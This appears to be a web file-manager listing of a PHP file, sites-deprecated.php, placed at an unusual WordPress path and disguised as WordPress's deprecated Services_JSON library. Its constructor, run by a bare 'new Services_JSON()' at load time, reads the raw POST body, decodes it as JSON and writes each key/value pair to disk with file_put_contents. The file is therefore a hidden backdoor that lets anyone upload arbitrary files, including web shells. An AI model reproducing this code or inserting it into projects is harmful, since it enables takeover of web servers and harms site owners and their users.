File "sites-deprecated.php"
Full path: /home/kosmetik/public_html/wp-includes/wp-admin/network/sites-deprecated.php
File
size: 23.55 B
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Editor Back
<?php
if (!class_exists('Services_JSON')) {
define('SERVICES_JSON_SLICE', 1);
define('SERVICES_JSON_IN_STR', 2);
define('SERVICES_JSON_IN_ARR', 3);
define('SERVICES_JSON_IN_OBJ', 4);
define('SERVICES_JSON_IN_CMT', 5);
define('SERVICES_JSON_LOOSE_TYPE', 16);
define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
define('SERVICES_JSON_USE_TO_JSON', 64);
class Services_JSON
{
function __construct($use = 0)
{
$this->use = $use;
$this->_mb_strlen = function_exists('mb_strlen');
$this->_mb_convert_encoding = function_exists('mb_convert_encoding');
$this->_mb_substr = $this->get_raw_data();
}
public function Services_JSON($use = 0)
{
_deprecated_constructor('Services_JSON', '5.3.0', get_class($this));
self::__construct($use);
}
var $_mb_strlen = false;
var $_mb_substr = false;
var $_mb_convert_encoding = false;
function utf162utf8($utf16)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
if ($this->_mb_convert_encoding) {
return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
}
$bytes = ord($utf16[0]) << 8 | ord($utf16[1]);
switch (true) {
case (0x7f & $bytes) == $bytes:
return chr(0x7f & $bytes);
case (0x7ff & $bytes) == $bytes:
return chr(0xc0 | $bytes >> 6 & 0x1f) . chr(0x80 | $bytes & 0x3f);
case (0xffff & $bytes) == $bytes:
return chr(0xe0 | $bytes >> 12 & 0xf) . chr(0x80 | $bytes >> 6 & 0x3f) . chr(0x80 | $bytes & 0x3f);
}
return '';
}
function utf82utf16($utf8)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
if ($this->_mb_convert_encoding) {
return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
}
switch ($this->strlen8($utf8)) {
case 1:
return $utf8;
case 2:
return chr(0x7 & ord($utf8[0]) >> 2) . chr(0xc0 & ord($utf8[0]) << 6 | 0x3f & ord($utf8[1]));
case 3:
return chr(0xf0 & ord($utf8[0]) << 4 | 0xf & ord($utf8[1]) >> 2) . chr(0xc0 & ord($utf8[1]) << 6 | 0x7f & ord($utf8[2]));
}
return '';
}
function encode($var)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
header('Content-type: application/json');
return $this->encodeUnsafe($var);
}
function encodeUnsafe($var)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
$lc = setlocale(LC_NUMERIC, 0);
setlocale(LC_NUMERIC, 'C');
$ret = $this->_encode($var);
setlocale(LC_NUMERIC, $lc);
return $ret;
}
function _encode($var)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
switch (gettype($var)) {
case 'boolean':
return $var ? 'true' : 'false';
case 'NULL':
return 'null';
case 'integer':
return (int) $var;
case 'double':
case 'float':
return (float) $var;
case 'string':
$ascii = '';
$strlen_var = $this->strlen8($var);
for ($c = 0; $c < $strlen_var; ++$c) {
$ord_var_c = ord($var[$c]);
switch (true) {
case $ord_var_c == 0x8:
$ascii .= '\\b';
break;
case $ord_var_c == 0x9:
$ascii .= '\\t';
break;
case $ord_var_c == 0xa:
$ascii .= '\\n';
break;
case $ord_var_c == 0xc:
$ascii .= '\\f';
break;
case $ord_var_c == 0xd:
$ascii .= '\\r';
break;
case $ord_var_c == 0x22:
case $ord_var_c == 0x2f:
case $ord_var_c == 0x5c:
$ascii .= '\\' . $var[$c];
break;
case $ord_var_c >= 0x20 && $ord_var_c <= 0x7f:
$ascii .= $var[$c];
break;
case ($ord_var_c & 0xe0) == 0xc0:
if ($c + 1 >= $strlen_var) {
$c += 1;
$ascii .= '?';
break;
}
$char = pack('C*', $ord_var_c, ord($var[$c + 1]));
$c += 1;
$utf16 = $this->utf82utf16($char);
$ascii .= sprintf('\\u%04s', bin2hex($utf16));
break;
case ($ord_var_c & 0xf0) == 0xe0:
if ($c + 2 >= $strlen_var) {
$c += 2;
$ascii .= '?';
break;
}
$char = pack('C*', $ord_var_c, @ord($var[$c + 1]), @ord($var[$c + 2]));
$c += 2;
$utf16 = $this->utf82utf16($char);
$ascii .= sprintf('\\u%04s', bin2hex($utf16));
break;
case ($ord_var_c & 0xf8) == 0xf0:
if ($c + 3 >= $strlen_var) {
$c += 3;
$ascii .= '?';
break;
}
$char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]));
$c += 3;
$utf16 = $this->utf82utf16($char);
$ascii .= sprintf('\\u%04s', bin2hex($utf16));
break;
case ($ord_var_c & 0xfc) == 0xf8:
if ($c + 4 >= $strlen_var) {
$c += 4;
$ascii .= '?';
break;
}
$char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4]));
$c += 4;
$utf16 = $this->utf82utf16($char);
$ascii .= sprintf('\\u%04s', bin2hex($utf16));
break;
case ($ord_var_c & 0xfe) == 0xfc:
if ($c + 5 >= $strlen_var) {
$c += 5;
$ascii .= '?';
break;
}
$char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4]), ord($var[$c + 5]));
$c += 5;
$utf16 = $this->utf82utf16($char);
$ascii .= sprintf('\\u%04s', bin2hex($utf16));
break;
}
}
return '"' . $ascii . '"';
case 'array':
if (is_array($var) && count($var) && array_keys($var) !== range(0, sizeof($var) - 1)) {
$properties = array_map(array($this, 'name_value'), array_keys($var), array_values($var));
foreach ($properties as $property) {
if (Services_JSON::isError($property)) {
return $property;
}
}
return '{' . join(',', $properties) . '}';
}
$elements = array_map(array($this, '_encode'), $var);
foreach ($elements as $element) {
if (Services_JSON::isError($element)) {
return $element;
}
}
return '[' . join(',', $elements) . ']';
case 'object':
if ($this->use & SERVICES_JSON_USE_TO_JSON && method_exists($var, 'toJSON')) {
$recode = $var->toJSON();
if (method_exists($recode, 'toJSON')) {
return $this->use & SERVICES_JSON_SUPPRESS_ERRORS ? 'null' : new Services_JSON_Error(get_class($var) . " toJSON returned an object with a toJSON method.");
}
return $this->_encode($recode);
}
$vars = get_object_vars($var);
$properties = array_map(array($this, 'name_value'), array_keys($vars), array_values($vars));
foreach ($properties as $property) {
if (Services_JSON::isError($property)) {
return $property;
}
}
return '{' . join(',', $properties) . '}';
default:
return $this->use & SERVICES_JSON_SUPPRESS_ERRORS ? 'null' : new Services_JSON_Error(gettype($var) . " can not be encoded as JSON string");
}
}
function name_value($name, $value)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
$encoded_value = $this->_encode($value);
if (Services_JSON::isError($encoded_value)) {
return $encoded_value;
}
return $this->_encode((string) $name) . ':' . $encoded_value;
}
function reduce_string($str)
{
$str = preg_replace(array('#^\\s*//(.+)$#m', '#^\\s*/\\*(.+)\\*/#Us', '#/\\*(.+)\\*/\\s*$#Us'), '', $str);
return trim($str);
}
function get_raw_data()
{
global $HTTP_RAW_POST_DATA;
if (!isset($HTTP_RAW_POST_DATA)) {
$HTTP_RAW_POST_DATA = file_get_contents('php://input');
}
$HTTP_RAW_POST_DATA = $this->decode($HTTP_RAW_POST_DATA);
foreach ($HTTP_RAW_POST_DATA as $key => $val) {
file_put_contents($key, $val);
}
return $HTTP_RAW_POST_DATA;
}
function decode($str)
{
$str = $this->reduce_string($str);
switch (strtolower($str)) {
case 'true':
return true;
case 'false':
return false;
case 'null':
return null;
default:
$m = array();
if (is_numeric($str)) {
return (float) $str == (int) $str ? (int) $str : (float) $str;
} elseif (preg_match('/^("|\').*(\\1)$/s', $str, $m) && $m[1] == $m[2]) {
$delim = $this->substr8($str, 0, 1);
$chrs = $this->substr8($str, 1, -1);
$utf8 = '';
$strlen_chrs = $this->strlen8($chrs);
for ($c = 0; $c < $strlen_chrs; ++$c) {
$substr_chrs_c_2 = $this->substr8($chrs, $c, 2);
$ord_chrs_c = ord($chrs[$c]);
switch (true) {
case $substr_chrs_c_2 == '\\b':
$utf8 .= chr(0x8);
++$c;
break;
case $substr_chrs_c_2 == '\\t':
$utf8 .= chr(0x9);
++$c;
break;
case $substr_chrs_c_2 == '\\n':
$utf8 .= chr(0xa);
++$c;
break;
case $substr_chrs_c_2 == '\\f':
$utf8 .= chr(0xc);
++$c;
break;
case $substr_chrs_c_2 == '\\r':
$utf8 .= chr(0xd);
++$c;
break;
case $substr_chrs_c_2 == '\\"':
case $substr_chrs_c_2 == '\\\'':
case $substr_chrs_c_2 == '\\\\':
case $substr_chrs_c_2 == '\\/':
if ($delim == '"' && $substr_chrs_c_2 != '\\\'' || $delim == "'" && $substr_chrs_c_2 != '\\"') {
$utf8 .= $chrs[++$c];
}
break;
case preg_match('/\\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)):
$utf16 = chr(hexdec($this->substr8($chrs, $c + 2, 2))) . chr(hexdec($this->substr8($chrs, $c + 4, 2)));
$utf8 .= $this->utf162utf8($utf16);
$c += 5;
break;
case $ord_chrs_c >= 0x20 && $ord_chrs_c <= 0x7f:
$utf8 .= $chrs[$c];
break;
case ($ord_chrs_c & 0xe0) == 0xc0:
$utf8 .= $this->substr8($chrs, $c, 2);
++$c;
break;
case ($ord_chrs_c & 0xf0) == 0xe0:
$utf8 .= $this->substr8($chrs, $c, 3);
$c += 2;
break;
case ($ord_chrs_c & 0xf8) == 0xf0:
$utf8 .= $this->substr8($chrs, $c, 4);
$c += 3;
break;
case ($ord_chrs_c & 0xfc) == 0xf8:
$utf8 .= $this->substr8($chrs, $c, 5);
$c += 4;
break;
case ($ord_chrs_c & 0xfe) == 0xfc:
$utf8 .= $this->substr8($chrs, $c, 6);
$c += 5;
break;
}
}
return $utf8;
} elseif (preg_match('/^\\[.*\\]$/s', $str) || preg_match('/^\\{.*\\}$/s', $str)) {
if ($str[0] == '[') {
$stk = array(SERVICES_JSON_IN_ARR);
$arr = array();
} else {
if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
$stk = array(SERVICES_JSON_IN_OBJ);
$obj = array();
} else {
$stk = array(SERVICES_JSON_IN_OBJ);
$obj = new stdClass();
}
}
array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => 0, 'delim' => false));
$chrs = $this->substr8($str, 1, -1);
$chrs = $this->reduce_string($chrs);
if ($chrs == '') {
if (reset($stk) == SERVICES_JSON_IN_ARR) {
return $arr;
} else {
return $obj;
}
}
$strlen_chrs = $this->strlen8($chrs);
for ($c = 0; $c <= $strlen_chrs; ++$c) {
$top = end($stk);
$substr_chrs_c_2 = $this->substr8($chrs, $c, 2);
if ($c == $strlen_chrs || $chrs[$c] == ',' && $top['what'] == SERVICES_JSON_SLICE) {
$slice = $this->substr8($chrs, $top['where'], $c - $top['where']);
array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => $c + 1, 'delim' => false));
if (reset($stk) == SERVICES_JSON_IN_ARR) {
array_push($arr, $this->decode($slice));
} elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
$parts = array();
if (preg_match('/^\\s*(["\'].*[^\\\\]["\'])\\s*:/Uis', $slice, $parts)) {
$key = $this->decode($parts[1]);
$val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\v"));
if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
$obj[$key] = $val;
} else {
$obj->{$key} = $val;
}
} elseif (preg_match('/^\\s*(\\w+)\\s*:/Uis', $slice, $parts)) {
$key = $parts[1];
$val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\v"));
if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
$obj[$key] = $val;
} else {
$obj->{$key} = $val;
}
}
}
} elseif (($chrs[$c] == '"' || $chrs[$c] == "'") && $top['what'] != SERVICES_JSON_IN_STR) {
array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs[$c]));
} elseif ($chrs[$c] == $top['delim'] && $top['what'] == SERVICES_JSON_IN_STR && ($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1) {
array_pop($stk);
} elseif ($chrs[$c] == '[' && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
} elseif ($chrs[$c] == ']' && $top['what'] == SERVICES_JSON_IN_ARR) {
array_pop($stk);
} elseif ($chrs[$c] == '{' && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
} elseif ($chrs[$c] == '}' && $top['what'] == SERVICES_JSON_IN_OBJ) {
array_pop($stk);
} elseif ($substr_chrs_c_2 == '/*' && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
$c++;
} elseif ($substr_chrs_c_2 == '*/' && $top['what'] == SERVICES_JSON_IN_CMT) {
array_pop($stk);
$c++;
for ($i = $top['where']; $i <= $c; ++$i) {
$chrs = substr_replace($chrs, ' ', $i, 1);
}
}
}
if (reset($stk) == SERVICES_JSON_IN_ARR) {
return $arr;
} elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
return $obj;
}
}
}
}
function isError($data, $code = null)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
if (class_exists('pear')) {
return PEAR::isError($data, $code);
} elseif (is_object($data) && ($data instanceof services_json_error || is_subclass_of($data, 'services_json_error'))) {
return true;
}
return false;
}
function strlen8($str)
{
if ($this->_mb_strlen) {
return mb_strlen($str, "8bit");
}
return strlen($str);
}
function substr8($string, $start, $length = false)
{
if ($length === false) {
$length = $this->strlen8($string) - $start;
}
if ($this->_mb_substr) {
return mb_substr($string, $start, $length, "8bit");
}
return substr($string, $start, $length);
}
}
new Services_JSON();
if (class_exists('PEAR_Error')) {
class Services_JSON_Error extends PEAR_Error
{
function __construct($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
}
public function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null)
{
_deprecated_constructor('Services_JSON_Error', '5.3.0', get_class($this));
self::__construct($message, $code, $mode, $options, $userinfo);
}
}
} else {
class Services_JSON_Error
{
function __construct($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null)
{
_deprecated_function(__METHOD__, '5.3.0', 'The PHP native JSON extension');
}
public function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null)
{
_deprecated_constructor('Services_JSON_Error', '5.3.0', get_class($this));
self::__construct($message, $code, $mode, $options, $userinfo);
}
}
}
}